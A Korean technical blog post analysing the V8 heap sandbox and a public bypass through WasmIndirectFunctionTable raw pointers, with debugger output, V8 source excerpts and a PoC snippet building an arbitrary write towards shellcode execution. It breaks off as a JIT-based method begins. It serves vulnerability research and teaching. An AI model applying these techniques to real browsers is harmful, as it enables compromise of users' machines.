[Wipeload 2단계] Prison Break(KR)
![]()
앞선 도닦기 1단계에서는 type confusion을 통한 Renderer RCE로 시작하여 Chrome Sandbox Escape, 마지막으로 Windows EoP까지 이어지는 체인을 다뤄보았습니다. 1단계 글을 마무리하며 이어질 내용에 대한 스포일러를 하였는데 혹시 기억하시나요?
아직 1단계 글을 읽어보지 않으셨다면 >>> 여기로 <<<
도닦기 2단계에서는 CVE-2023-3079 → CVE-2023-21674 → CVE-2023-29360 체이닝을 다루기 이전에 브라우저 취약점 분석 시 빼놓을 수 없는 type confusion에 대한 복습과 2024년 추가된 V8 Heap Sandbox에 관한 개념 및 공개된 우회 방법을 다뤄보았습니다..!
첫 번째 체인에서는 sandbox escape를 위해 CVE-2019-5826 취약점이 사용되었습니다. 그렇다면 여기서 말하는 sandbox와 2024년 새롭게 추가된 heap sandbox는 어떤 차이가 있는지 이번 글을 통해 알아갈 수 있을거에요! 😎
1. Type Confusion Recap.
Chrome에서의 Type Confusion은 지난 시리즈와 도닦기 1단계 연구글에서 살펴보았죠.
V8에서 컴파일 될 때 최적화가 일어나는데, 그 최적화를 악용하면 Type을 Confusion 할 수 있었습니다.
Type이 Confusion이 되면 객체의 layout이 예상과 달라지고 그로 인해 포인터 값이 포함된 메모리를 double 배열처럼 읽고 쓰게 되어 주소 값에 대해 Read/Write가 가능했습니다. 이러한 프리미티브를 정교하게 깎으면 Function Pointer나 기타 Code Pointer를 조작하여 최종적으로 Renderer 프로세스에서의 RCE가 가능했습니다!
하지만 V8에서 이러한 유형의 버그들이 너무 많이 발견되어 Heap Sandbox를 도입하였습니다. 🥹
Ji9umi에게 바톤을 넘겨주며 V8 Heap Sandbox에서 같이 더 알아보겠습니다!!
2. V8 Heap Sandbox A-to-Z
안녕하세요, 이번 도닦기 프로젝트의 두 번째 체인 Renderer RCE 단계를 맡은 ji9umi입니다! 🌏 사실 처음부터 Chrome V8 취약점 분석을 시작할 계획은 없었는데요(…) 어쩌다보니 도닦기 프로젝트에 합류하여 V8과 친해지는 시간을 갖게 되었습니다.

안돼.. 가지마..!
서론은 여기까지하고 본격적으로 V8 Heap Sandbox의 등장배경과 개념을 살펴보겠습니다!
2.1. The History of V8 Exploit
V8 heap sandbox의 적용 이전인 2021년부터 2023년 동안 확인된 in-the-wild 크롬 익스플로잇에는 공통점이 있었는데, 렌더러 프로세스에서 발생하는 memory corruption을 통해 RCE로 이어지는 경우 일반 애플리케이션의 권한인 Medium IL로 실행이 가능하였다는 점입니다.
그중 약 60%는 자바스크립트 엔진인 V8에서 발생하였습니다. 주목할 점은 이 취약점들이 단순히 직접적인 원인으로 발생하지 않았다는 것입니다. 최종적으로는 UAF나 OOB와 같은 memory corruption으로 연결되어도, 그 과정에서 V8 내부에 존재하는 logic issue들을 복합적으로 이용하는 방식으로 진행되었습니다.
Chrome 취약점에 대해 공부한다면 반드시 만나게 되는 type confusion이 그 대표적인 예시라고 볼 수 있습니다. 도닦기 1단계에서 다룬 CVE-2018-17463 뿐만 아니라 V8 내에서 특수한 목적으로 사용되는 TheHole을 활용하는 CVE-2021-38003 등 memory corruption으로 직결되지 않는 경우에도 중간 과정을 통해 메모리를 조작할 수 있었습니다.
CVE-2018-17463과 CVE-2021-38003 사이에 간격이 있었다보니 두 취약점에는 약간의 차이가 존재했습니다. 바로 Pointer Compression입니다.
2014년을 기점으로 Chrome은 32-bit 프로세스에서 64-bit로 전환을 진행하였습니다. 이는 보안성, 안정성 및 성능에서 이점을 볼 수 있었지만 포인터 또한 4-byte에서 8-byte 공간을 차지하도록 변경되어 더 많은 메모리를 요구할 수 밖에 없게 되었습니다.
이에 대한 해결책으로 제시한 pointer compression은 메모리에 할당된 객체에 접근하기 위해 base 주소와 4-byte 크기의 offset을 활용하는 방식이었습니다.
만약 4GB 크기로 정렬된 메모리 내에서 이를 적용하면 같은 base를 공유하기 때문에 32-bit offset을 통해서 내부 객체에 접근이 가능합니다.
|----- 32 bits -----|----- 32 bits -----|
Compressed pointer: |______offset_____w1|
Compressed Smi: |____int31_value___0|
단, V8 메모리에 존재하는 모든 값이 해당 영역에 저장된 것은 아니기 때문에 여전히 외부 객체를 접근하는 과정에서 사용하기 위한 압축되지 않은 포인터(raw pointer)가 존재하였습니다. V8 heap sandbox의 탄생 배경에는 이런 문제를 해결하기 위한 목적도 포함되어 있습니다.
2.2. Mechanism of V8 Heap Sandbox
V8 heap sandbox는 2024년 3월 Chrome 123 버전부터 적용된 새로운 보호기법입니다. 이번 글에서는 도닦기 프로젝트 이전에 연재되었던 Type Confusion 101으로 시작하는 Chrome Exploit Part 4 글의 마지막에서도 간단하게 언급되었던 V8 heap sandbox의 개념을 되짚어보고 이를 우회하기 위해 사용되었던 방법을 기술적 관점에서 분석해보았습니다.
먼저 언급하였던 두 취약점의 경우 memory corruption을 통해 임의 주소에 대한 읽기/쓰기가 가능한 경우 접근 영역에 제한이 없어 원활한 익스플로잇이 가능하였습니다. Heap sandbox는 이를 차단하기 위해 memory corruption이 발생 시에도 임의 주소에 접근이 불가하도록 제한하는 조치였습니다.

참고로 V8 Heap Sandbox와 Chrome Sandbox는 별개의 개념으로 이어질 도닦기 4단계에서 다뤄질 예정입니다!

위 이미지는 heap sandbox가 적용된 이후 V8의 메모리 구조입니다. 기술적 내용은 공식 문서에 자세하게 나와있기 때문에 여기서는 전체적인 구조를 이해하는데 중점을 두고 설명해보겠습니다.
- V8 Heap Region
4GB 크기를 차지하는 V8 Heap Region 영역은 compressed pointer가 위치한 곳으로 V8 Sandbox의 시작 지점에 위치합니다. 해당 영역에서는 base 주소를 제외한 32-bit 크기의 offset 정보를 활용하여 객체에 접근하며 만약 외부 객체에 접근이 필요한 경우 pointer table을 참조하여 접근합니다.
- V8 Sandbox
V8 Sandbox는 초기화 과정에서 할당되는 넓은 영역의 가상 주소 공간으로 앞서 설명했듯이 compressed pointer와 ArrayBuffer Backing Store 같은 항목이 이곳에 위치합니다. Sandbox 내에 존재하지만 V8 heap 외부에 존재하는 객체는 40-bit offset 정보를 참고하는데 여기서 V8 heap은 시작 지점으로부터 4GB 크기로 할당되는 영역을 의미합니다.
2.2. Exploit Development Side
변경된 메모리 구조는 익스플로잇 관점에서 기존과 다른 전략을 필요로 하였습니다. 임의 메모리 영역을 조작하기 위해서는 압축되지 않은 raw pointer가 필요하였으며 heap sandbox로 인해 조작 가능한 영역이 제한되었습니다. 따라서 이전과 같이 medium IL 권한의 RCE를 위해서는 추가적인 과정이 요구되었습니다.
공부를 시작한 현 시점에는 이를 우회한 여러 자료를 찾아볼 수 있었으나 이번 글에서는 CVE-2023-2033과 CVE-2023-3079 우회에 사용되었던 기술 분석을 참고하여 진행하였습니다.
3. Bypass Heap Sandbox
이번 도닦기 프로젝트에서 참고하여 진행한 두 번째 체이닝의 경우 티오리 기술 블로그에서 확인할 수 있었는데요, V8 heap sandbox와 관련된 내용 또한 정리되어 있어 이를 바탕으로 진행하였습니다.
3.1. AAW and Code Execution with WasmIndirectFunctionTable Object
3.1.1. Patch Review
첫 번째 케이스는 WebAssembly(이하 Wasm) 객체 내에 존재하는 raw pointer와 RWX page 주소를 획득하여 우회한 방법으로 CVE-2023-2033과 CVE-2023-3079 익스플로잇에도 사용된 것으로 알려졌습니다.
Wasm은 웹페이지에서 고성능 애플리케이션을 실행하는 것을 목적으로 설계된 소프트웨어 인터페이스로 executable 파일이 가지는 실행 속도의 장점을 웹 애플리케이션에서 활용할 수 있도록 도와줍니다. 이번 sandbox bypass에 사용된 취약점은 크게 두 번에 걸쳐 패치가 진행되었습니다.
- 첫 번째 패치 (commit)
- WasmIndirectFunctionTable 내에 존재하던 raw pointer를 제거하기 위해 할당 방식 변경
PRIMITIVE_ACCESSORS()→ACCESSORS()
- 두 번째 패치 (commit)
- 첫 번째 패치의 경우 근본적인 해결을 진행한 것은 아니었기 때문에 sandbox 환경에 호환되는 새로운 방식을 개발하여 적용
- 이는 ExternalPointerArray 자료형을 의미
패치 내역을 통해서 알 수 있는 정보는 Wasm 관련 객체인 WasmIndirectFunctionTable에 raw pointer를 저장하는 필드가 있음을 유추할 수 있습니다. 본격적인 취약점 설명에 앞서 해당 객체가 어떤 역할을 하는지 짚어보고 가겠습니다.
3.1.2. Wasm Fundamentals
const tbl = new WebAssembly.Table({
initial: 2,
element: "anyfunc"
});
const importObject = {
env: {
jstimes3: (n) => 3 * n,
},
js: { tbl }
};
var code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 10, 2, 96, 1, 127, 1, 127, 96, 0, 1, 127, 2, 27, 2, 3, 101, 110, 118, 8, 106, 115, 116, 105, 109, 101, 115, 51, 0, 0, 2, 106, 115, 3, 116, 98, 108, 1, 112, 0, 2, 3, 5, 4, 1, 1, 0, 0, 7, 16, 2, 6, 116, 105, 109, 101, 115, 50, 0, 3, 3, 112, 119, 110, 0, 4, 9, 8, 1, 0, 65, 0, 11, 2, 1, 2, 10, 24, 4, 4, 0, 65, 42, 11, 5, 0, 65, 211, 0, 11, 4, 0, 65, 16, 11, 6, 0, 65, 16, 16, 0, 11]);
var module = new WebAssembly.Module(code);
var instance = new WebAssembly.Instance(module, importObject);
var times2 = instance.exports.times2;
%DebugPrint(instance);
Wasm은 크게 Module, Instance, Table로 구성되어 있으며 Module은 초기화 되기 이전 상태의 원시 코드로 이를 초기화 작업을 거쳐 Instance로 전환합니다. Instance는 복수의 Table을 소유할 수 있으며 예시에서는 importObject 내에 생성된 tbl을 포함하여 전달하는 것을 확인할 수 있습니다.
Instance의 경우 V8 내부에서 WasmInstanceObject로 관리하는데 주요 필드는 다음과 같습니다.
- tables
- 전달받은 Table 목록을 관리하기 위한 배열로 각 Instance는 복수의 Table을 포함할 수 있기 때문에 배열 형태로 관리합니다.
- Table은 WasmTableObject 객체로 존재합니다.
- indirect_function_tables
- Wasm 내부에서 생성한 function의 경우 전달받은 Table에 등록하는 것이 가능합니다.
- 여기서 등록된 항목은 Table에 따라 구분하기 위해 일차적으로 WasmIndirectFunctionTable에서 관리합니다.
- 이후 Table에 대한 정보를
indirect_function_tables에서 관리합니다.
- imported_function_targets
importObject생성 과정을 살펴보면tbl을 포함하는 것 외에jstimes3()를 내부에서 선언합니다.- 이를 통해 전달된 항목은
imported_function_targets필드에서 관리됩니다.

위 이미지는 WasmTableObject와 WasmInstanceObject, WasmIndirectFunctionTable 객체가 참조하는 관계를 나타냅니다. 예시 코드를 실행하여 확인하면 다음과 같은 결과를 얻을 수 있습니다.
$ ./d8 --allow-natives-syntax scripts/wasm.js --shell
DebugPrint: 0x194f0011b5e9: [WasmInstanceObject] in OldSpace # [1] WasmInstanceObject
- map: 0x194f00119919 <Map[224](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x194f001ca839 <Object map = 0x194f0011b5c1>
- elements: 0x194f00000219 <FixedArray[0]> [HOLEY_ELEMENTS]
- module_object: 0x194f001ccd3d <Module map = 0x194f001194dd>
- exports_object: 0x194f001cce9d <Object map = 0x194f0011b875>
- native_context: 0x194f00103c2d <NativeContext[282]>
- tables: 0x194f001cce3d <FixedArray[1]> # [2] tables
- indirect_function_tables: 0x194f001cce49 <FixedArray[1]> # [3] indirect_function_tables
- imported_function_refs: 0x194f001ccdfd <FixedArray[1]>
- indirect_function_table_refs: 0x194f001cce55 <FixedArray[2]>
# ...
- imported_function_targets: 0x194f001ccded <ByteArray[8]> # [4] imported_function_targets
# ...
DebugPrint: 0x194f001ccb01: [WasmTableObject] # [5] WasmTableObject
- map: 0x194f00119bb5 <Map[36](HOLEY_ELEMENTS)>
- properties_or_hash: 0x194f00000219 <FixedArray[0]>
- elements: 0x194f00000219 <FixedArray[0]>
- instance: 0x194f00000251 <undefined>
- entries: 0x194f001ccaf1 <FixedArray[2]>
- current_length: 2
- maximum_length: 0x194f00000251 <undefined>
- dispatch_tables: 0x194f001cce8d <FixedArray[2]> # [6] dispatch_tables
- raw_type: 32000010
[1]과 [5]에서는 instance와 tbl이 각각 WasmInstanceObject, WasmTableObject로 생성된 것을 확인할 수 있습니다. WasmInstanceObject 내에는 tables, indirect_function_tables, imported_function_targets가 존재하며 WasmTableObject은 dispatch_tables을 포함하고 있습니다.
d8 실행 시 --shell 플래그를 추가하여 직접 이를 검증할 수 있습니다.
d8> %DebugPrintPtr(0x194f001cce3d);
DebugPrint: 0x194f001cce3d: [FixedArray] # [1] tables of instance (0x194f0011b5e9)
- map: 0x194f00000089 <Map(FIXED_ARRAY_TYPE)>
- length: 1
0: 0x194f001ccb01 <Table map = 0x194f00119bb5> # [2] Same with tbl (0x194f001ccb01)
# ...
d8> %DebugPrintPtr(0x194f001cce8d); # [3] dispatch_tables of tbl (0x194f001ccb01)
DebugPrint: 0x194f001cce8d: [FixedArray]
- map: 0x194f00000089 <Map(FIXED_ARRAY_TYPE)>
- length: 2
0: 0x194f0011b5e9 <Instance map = 0x194f00119919> # [4] Same with instance (0x194f0011b5e9)
1: 0
# ...
처음 확인하였던 코드 스니펫의 경우 $f42와 $f83의 선언을 직접 확인할 수 없었습니다. 이를 직접 확인하기 위해 Uint8Array로 선언된 wasm code를 사람이 읽을 수 있는 형태로 변환하면 아래와 같이 나타납니다.
(module
;; The common type we use throughout the sample.
(type $int2int (func (param i32) (result i32)))
;; Import a function named jstimes3 from the environment and call it
;; $jstimes3 here.
(import "env" "jstimes3" (func $jstimes3 (type $int2int)))
(import "js" "tbl" (table 2 funcref))
(func $f42 (result i32) i32.const 42) ;; [1] Define $f42 function
(func $f83 (result i32) i32.const 83) ;; [2] Define $f83 function
(elem (i32.const 0) $f42 $f83)
(func (export "times2") (type $int2int) (i32.const 16))
(func (export "pwn") (type $int2int) (i32.const 16) (call $jstimes3))
)
[1]과 [2] 지점을 확인하면 두 함수가 선언되는 것을 확인할 수 있습니다.
Wasm code의 전체 해석은 글 마지막에서 다룰 예정이기 때문에 만약 더 자세히 이해하고자 한다면 이를 참고해주세요 🙏🏻
그렇다면 WasmIndirectFunctionTable 내에는 어떤 값이 존재할까요?
/* wasm/wasm-objects-inl.h */
// WasmIndirectFunctionTable
TQ_OBJECT_CONSTRUCTORS_IMPL(WasmIndirectFunctionTable)
PRIMITIVE_ACCESSORS(WasmIndirectFunctionTable, sig_ids, uint32_t*,
kSigIdsOffset)
PRIMITIVE_ACCESSORS(WasmIndirectFunctionTable, targets, Address*, // [1]
kTargetsOffset)
OPTIONAL_ACCESSORS(WasmIndirectFunctionTable, managed_native_allocations,
Foreign, kManagedNativeAllocationsOffset)
[1] 내용을 확인해보면 WasmIndirectFunctionTable 객체에는 targets 필드가 존재합니다. 앞서 이미지에서도 확인할 수 있듯이 $f42와 $f83의 주소 정보를 담고 있는데, 첫 번째 패치에서 PRIMITIVE_ACCESSORS로 할당하던 방식을 ACCESSORS로 변경한 점을 확인하였습니다.
d8> %DebugPrintPtr(0x325b001ccea9);
DebugPrint: 0x325b001ccea9: [WasmIndirectFunctionTable]
- map: 0x325b00001599 <Map[32](WASM_INDIRECT_FUNCTION_TABLE_TYPE)>
- size: 2
- sig_ids: 0xa8d0a8550
- targets: 0xa8d0a8560
# ...
(lldb) memory read -s8 -fx -c4 0xa8d0a8560
0xa8d0a8560: 0x000010a051b08000 0x000010a051b08004
0xa8d0a8570: 0x0000000a8cc50338 0x0000000a8cc50320
직접 디버거를 연결하여 targets 필드의 값을 살펴보면 32-bit offset이 아닌 64-bit 주소가 저장되어 있는 걸 볼 수 있습니다. 순서대로 $f42, $f83을 가리키며 추가로 분석을 진행하면 다음과 같습니다.
(lldb) memory read -s8 -fi 0x000010a051b08000
0x10a051b08000: b 0x10a051b086a0
0x10a051b08004: b 0x10a051b086ac
0x10a051b08008: b 0x10a051b086b8
0x10a051b0800c: b 0x10a051b086c4
(lldb) memory read -fi -c3 0x10a051b086a0
0x10a051b086a0: mov w8, #0x1 ; =1
0x10a051b086a4: b 0x10a051b08130
0x10a051b086a8: nop
0xa8d0a8560과 0xa8d0a8568 위치에 저장된 포인터는 분기를 위한 테이블 주소를 가리키고 있기 때문에 4-byte 차이를 가지며 실제로는 테이블에서 가리키는 주소로 한번 더 이동한다는 것을 확인할 수 있었습니다.
3.1.3. Construct Primitive
targets 필드에 어떤 값이 담겨있는지 이해가 되었다면 이제 어떻게 활용할 수 있는지 알아볼 필요가 있습니다. 해당 필드에 값을 설정하기 위해서는 WasmIndirectFunctionTable::Set() 함수를 사용하는데 이는 다음과 같이 구현되어 있습니다.
/* wasm/wasm-objects.cc */
void WasmIndirectFunctionTable::Set(uint32_t index, int sig_id,
Address call_target, Object ref) {
sig_ids()[index] = sig_id;
targets()[index] = call_target;
refs().set(index, ref);
}
코드를 살펴보면 인자로 전달되는 call_target 값을 targets 이 가리키는 위치에 작성하는 것을 확인할 수 있습니다. 만약 이 위치를 공격자가 조작할 수 있다면 임의 주소 쓰기가 가능하다는 점이 핵심이었습니다.
다음으로 필요한 정보는 call_target이 공격자가 제어할 수 있는 값인지, 제어가 가능하다면 어떤 주소를 가리키게 해야할지 확인이 필요했습니다. 우선 WasmIndirectFunctionTable::Set() 함수는 WasmTableObject::Set() 내에서 호출되며 이는 자바스크립트 API인 WebAssembly.Table.prototype.set()을 통해 호출이 가능했습니다.
// https://github.com/theori-io/v8-sbx-bypass-wasm
let arbitrary_write = (where, what) => {
caged_write64(where_ptr, where - 0x8n);
caged_write64(what_ptr, what);
tbl.set(1, times2);
caged_write64(what_ptr, rwx);
caged_write64(where_ptr, targets);
};
// ...
이는 공개된 PoC의 예제로 tbl.set() 호출이 여기에 해당됩니다. 인자로 전달되는 index의 경우 사용자가 입력한 값이 그대로 들어가기 때문에 문제가 되지 않았습니다. 그러나 call_target의 경우 caller에서 WasmInstanceObject::GetCallTarget()의 반환값을 사용하였습니다.
Address WasmInstanceObject::GetCallTarget(uint32_t func_index) {
wasm::NativeModule* native_module = module_object().native_module();
if (func_index < native_module->num_imported_functions()) {
return imported_function_targets().get(func_index);
}
return jump_table_start() +
JumpTableOffset(native_module->module(), func_index);
}
해당 함수의 반환값은 func_index에 의해 결정되었기 때문에 임의 주소를 지정하는데 큰 제약이 있었습니다. 만약 func_index가 import 되어있는 함수의 범위 내에 있는 경우 imported_function_targets에서 반환하며 그렇지 않은 경우 jump_table_start()에 offset을 더한 주소를 반환합니다.
imported_function_targets은 instance 생성 시 외부에서 전달한 함수의 위치를 담고 있는 필드이며 내부에 가리키고 있는 포인터를 디버깅하면 RWX 영역을 가리키는 것을 확인할 수 있습니다.
DebugPrint: 0x325b0011b5e9: [WasmInstanceObject] in OldSpace
- map: 0x325b00119919 <Map[224](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x325b001ca87d <Object map = 0x325b0011b5c1>
- elements: 0x325b00000219 <FixedArray[0]> [HOLEY_ELEMENTS]
# ...
- imported_function_targets: 0x325b001cce31 <ByteArray[8]> # <== imported_function_targets
(lldb) memory read -s8 -fx -c2 0x325b001cce31-1
0x325b001cce30: 0x000000100000095d 0x000010a051b086e0
(lldb) memory region 0x000010a051b086e0
[0x000010a051b08000-0x000010a051b0c000) rwx # <== RWX page
Modified memory (dirty) page list provided, 0 entries.
다음으로는 RWX page의 주소와 call_targets 값을 얻는 방법을 확인하였기 때문에 실제 취약한 로직에 도달하기 위한 과정을 살펴보았습니다.
맨 처음 시작의 경우 WebAssembly.Table.prototype.set()의 구현인 WasmTableObject::Set()에서 시작됩니다.
// wasm/wasm-objects.cc
// TODO(manoskouk): Does this need to be handlified?
void WasmTableObject::Set(Isolate* isolate, Handle<WasmTableObject> table,
uint32_t index, Handle<Object> entry) {
// Callers need to perform bounds checks, type check, and error handling.
DCHECK(IsInBounds(isolate, table, index));
Handle<FixedArray> entries(table->entries(), isolate);
// The FixedArray is addressed with int's.
int entry_index = static_cast<int>(index);
switch (table->type().heap_representation()) {
// ...
default:
DCHECK(!table->instance().IsUndefined());
if (WasmInstanceObject::cast(table->instance())
.module()
->has_signature(table->type().ref_index())) {
SetFunctionTableEntry(isolate, table, entries, entry_index, entry); // <== here
return;
}
entries->set(entry_index, *entry);
return;
}
}
이 함수에서는 switch ~ case문을 활용하여 table의 type에 따라 처리하는 함수가 달라집니다. 도달하고자 하는 함수는 SetFunctionTableEntry()를 통과하여야 하기 때문에 사전 조건에 해당되지 않는 default에서 처리됩니다.
// wasm/wasm-objects.cc
void WasmTableObject::SetFunctionTableEntry(Isolate* isolate,
Handle<WasmTableObject> table,
Handle<FixedArray> entries,
int entry_index,
Handle<Object> entry) {
// ...
if (WasmExportedFunction::IsWasmExportedFunction(*external)) { // Check is exported
auto exported_function = Handle<WasmExportedFunction>::cast(external);
Handle<WasmInstanceObject> target_instance(exported_function->instance(),
isolate);
int func_index = exported_function->function_index();
auto* wasm_function = &target_instance->module()->functions[func_index];
UpdateDispatchTables(isolate, *table, entry_index, wasm_function,
*target_instance);
} else if (WasmJSFunction::IsWasmJSFunction(*external)) {
UpdateDispatchTables(isolate, table, entry_index,
Handle<WasmJSFunction>::cast(external));
} else {
DCHECK(WasmCapiFunction::IsWasmCapiFunction(*external));
UpdateDispatchTables(isolate, table, entry_index,
Handle<WasmCapiFunction>::cast(external));
}
entries->set(entry_index, *entry);
}
WasmTableObject::SetFunctionTableEntry() 함수에서는 대상 함수의 위치에 따라 동작 방식이 달라집니다. 취약한 로직의 경우 exported인 경우 도달이 가능하며 나머지 두 경우는 같은 이름이지만 매게변수에 따라 overloading 된 함수에서 처리되기 때문에 주의가 필요합니다.
// static
void WasmTableObject::UpdateDispatchTables(Isolate* isolate,
WasmTableObject table,
int entry_index,
const wasm::WasmFunction* func,
WasmInstanceObject target_instance) {
// ...
Address call_target = target_instance.GetCallTarget(func->func_index);
int original_sig_id = func->sig_index;
for (int i = 0, len = dispatch_tables.length(); i < len;
i += kDispatchTableNumElements) {
int table_index =
Smi::cast(dispatch_tables.get(i + kDispatchTableIndexOffset)).value();
WasmInstanceObject instance = WasmInstanceObject::cast(
dispatch_tables.get(i + kDispatchTableInstanceOffset));
int sig_id = target_instance.module()
->isorecursive_canonical_type_ids[original_sig_id];
WasmIndirectFunctionTable ift = WasmIndirectFunctionTable::cast(
instance.indirect_function_tables().get(table_index));
ift.Set(entry_index, sig_id, call_target, call_ref);
}
}
WasmTableObject::UpdateDispatchTables() 함수까지 도달하면 위에서 설명하였던 GetCallTarget()과 WasmIndirectFunctionTable::Set() 함수를 비로소 확인할 수 있습니다.
전체 콜스택을 살펴보며 전달되는 함수의 경우 exported 조건을 만족해야한다는 것을 알 수 있었습니다.

잠깐, 혹시 이상한 점 눈치채셨나요?
call_targets 값이 결정되는 방법을 살펴보며 RWX page 주소가 저장된 위치는 imported_function_targets에서 획득할 수 있었는데 이를 위해서는 당연하게도 func_index 값이 정해진 범위 내에 있어야 했습니다.
그러나 실제 취약한 로직에 도달하기 위해서는 대상 함수가 exported여야 합니다. 일반적으로 exported 함수가 imported 범위에 해당하는 index를 할당받는 경우는 존재하지 않을 것입니다.
imported_function_targets와 jump_table_start 모두 V8 sandbox 내에 존재하지만 전자의 경우 compressed pointer이며 후자는 raw pointer입니다. 그러나 임의 주소 쓰기가 완성되지 않은 시점에서 jump_table_start이 가리키는 주소를 조작할 수 없기 때문에 여기서는 제어 가능한 imported_function_targets을 활용해야 합니다.
참고한 글에서는 이 문제를 해결하기 위해 exported 함수의 index를 ‘0’으로 조작하는 방법을 사용하였습니다. 이는 function_index를 획득할 때 WasmExportedFunctionData 객체에 접근하는데 마찬가지로 V8 sandbox 내에 존재하였기 때문에 가능하였던 방법입니다.
당연하게도 이 방법을 활용하기 위해서는 하나 이상의 imported 함수가 존재해야만 합니다!
따라서 최종적인 익스플로잇 흐름은 다음과 같이 진행됩니다:
- Wasm Table과 이를 import하는 Instance를 생성한다.
- WasmInstanceObject 내에 존재하는 WasmIndirectFunctionTable의
targets을 임의 주소로 변경한다.- 여기서 변경한 주소는 AAW primitive에서
where이 된다.
- 여기서 변경한 주소는 AAW primitive에서
- Exported 함수의
function_index를 0으로 변경한다. imported_function_targets이 가리키는 주소의 내용을 임의 값으로 변경한다.- 여기서 변경하는 값이 AAW primitive에서
what이 된다.
- 여기서 변경하는 값이 AAW primitive에서
- 최종적으로
WebAssembly.Table.prototype.set()을 호출한다.- 내부 동작에 의해
where위치에what을 작성하게 된다.
- 내부 동작에 의해
임의 주소 쓰기가 가능하다면 임의 코드를 실행하는 것 또한 가능합니다. 위 과정은 임의 주소에 포인터 크기에 해당하는 8-byte를 작성하는 것이기 때문에 실행하고자 하는 shellcode를 8-byte씩 RWX page에 작성한 뒤 호출하면 작성한 shellcode가 실행됩니다.
3.1.4. Wasm Syntax
JIT을 이용한 우회 방법을 알아보기에 앞서 익스플로잇에 사용된 Wasm 문법을 가볍게 훑고 넘어가보겠습니다!
(module
;; The common type we use throughout the sample.
(type $int2int (func (param i32) (result i32)))
;; Import a function named jstimes3 from the environment and call it
;; $jstimes3 here.
(import "env" "jstimes3" (func $jstimes3 (type $int2int)))
(import "js" "tbl" (table 2 funcref))
(func $f42 (result i32) i32.const 42)
(func $f83 (result i32) i32.const 83)
(elem (i32.const 0) $f42 $f83)
(func (export "times2") (type $int2int) (i32.const 16))
(func (export "pwn") (type $int2int) (i32.const 16) (call $jstimes3))
)
우선 시작과 끝을 확인하면 하나의 (module ... ) 구조로 되어 있는 점을 확인할 수 있습니다. 이는 Module을 선언하기 위한 목적으로 사용됩니다.
다음으로는 (type $int2int (func (param i32) (result i32)))가 따라오는데 함수 시그니처를 선언하는 과정으로 인자로 32-bit 정수를 전달받고 32-bit 정수를 반환하는 것을 $int2int라는 이름으로 생성한 것입니다. 이는 이어지는 jstimes3 함수의 type으로 사용되기도 합니다.
(import "env" "jstimes3" (func $jstimes3 (type $int2int)))는 Instance 생성 과정에서 전달된 자바스크립트 함수를 Wasm 내부에서 사용하기 위해 선언하는 과정입니다.
const importObject = {
env: {
jstimes3: (n) => 3 * n,
},
// ...
결과적으로 "env" "jstimes3"는 전달 과정에서 지정한 이름을 사용하며 Wasm 내부에서 호출하는 경우 $jstimes3로 호출한다는 뜻이 됩니다.
이어서 진행되는 (import ...)의 경우 (elem ...)까지가 하나의 동작으로 $f42와 $f83을 선언하고 이를 전달받은 Table에 등록하는 과정입니다. Table의 경우 (table 2 funcref)라는 부분이 존재하는데 이는 크기를 2로 하며 함수 주소를 담기 위한 funcref 타입으로 선언하였다는 의미입니다.
funcref외에도 Reference Types에 해당하는 값이 위치할 수 있으며 Wasm Types에서 이를 확인할 수 있어요 🙃
$f42와 $f83의 경우 호출 시 42, 83이라는 32-bit 정수를 반환하도록 선언하며 (elem (i32.const 0) $f42 $f83)을 통해 Table에 등록합니다. 여기서 i32.const 0은 시작 index를 0번부터 진행한다는 의미입니다.
마지막 두 줄의 경우 Javascript에서 호출할 수 있는 export 함수를 선언하는 과정으로 pwn 함수의 경우 내부 Wasm 함수인 $jstimes3를 호출하는 걸 볼 수 있습니다.
3.2. Using JIT to Bypass Sandbox
3.2.1. JIT Fundamentals
V8 heap sandbox를 우회하기 위한 두 번째 방법으로 JIT을 활용하는 방법이 있습니다. JIT은 Just-In-Time의 약자로 프로그램이 실행하는 시점에 기계어로 번역하는 컴파일 기법을 의미합니다. CVE-2023-2033 익스플로잇 시 JIT을 활용한 방법 또한 공개되어 있기 때문에 이번 글에서는 간략하게 정리해보았습니다.
const foo = () =>
{
return [1.1, 2.2, 3.3];
}
foo();
%DebugPrint(foo);
위 코드는 double array를 반환하는 함수 foo()를 선언하고 실행하는 간단한 예시입니다. 함수 객체인 foo에 대한 내부 구조를 출력해보면 다음과 같이 나타납니다.
DebugPrint: 0x6f1001cc631: [Function]
- map: 0x06f1001043e5 <Map[28](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x06f100104299 <JSFunction (sfi = 0x6f1000cb201)>
- elements: 0x06f100000219 <FixedArray[0]> [HOLEY_ELEMENTS]
- function prototype: <no-prototype-slot>
- shared_info: 0x06f10011acbd <SharedFunctionInfo foo>
- name: 0x06f10011ac35 <String[3]: #foo>
- builtin: InterpreterEntryTrampoline
- formal_parameter_count: 0
- kind: ArrowFunction
- context: 0x06f10011ad8d <ScriptContext[3]>
- code: 0x06f100267cb9 <Code BUILTIN InterpreterEntryTrampoline> # [1]
- interpreted
- bytecode: 0x06f10011ae01 <BytecodeArray[5]>
- source code: () =>
{
return [1.1, 2.2, 3.3];
}
# ...
[1]을 확인하면 code 필드가 존재하는 걸 알 수 있습니다. 해당 주소가 가리키는 객체를 확인하면 다시 다음과 같습니다.
d8> %DebugPrintPtr(0x06f100267cb9);
DebugPrint: 0x6f100267cb9: [Code] in ReadOnlySpace
- map: 0x06f100000d9d <Map[60](CODE_TYPE)>
- kind: BUILTIN
- builtin: InterpreterEntryTrampoline
- instruction_start: 0x157873680 # [1]
- flags: 2
# ...
출력된 결과 중 [1]위치를 확인하면 실제 명령어가 시작하는 위치를 확인할 수 있습니다. 해당 주소에 대한 메모리를 확인해보면 어셈블리와 코드 실행을 위한 읽기, 실행 권한이 부여되어 있는 걸 알 수 있습니다.
(lldb) memory read -fi -c4 0x157873680
0x157873680: ldur w4, [x1, #0xb]
0x157873684: add x4, x28, x4
0x157873688: ldur w20, [x4, #0x3]
0x15787368c: add x20, x28, x20
(lldb) memory region 0x157873680
[0x0000000157840000-0x0000000157fd4000) r-x
Modified memory (dirty) page list provided, 0 entries.
만약 Javascript 함수를 호출할 때 code 필드를 임의 주소로 조작할 수 있다면 결과적으로 PC를 조작할 수 있다는 뜻이 됩니다.
3.2.2. Exploit with JIT
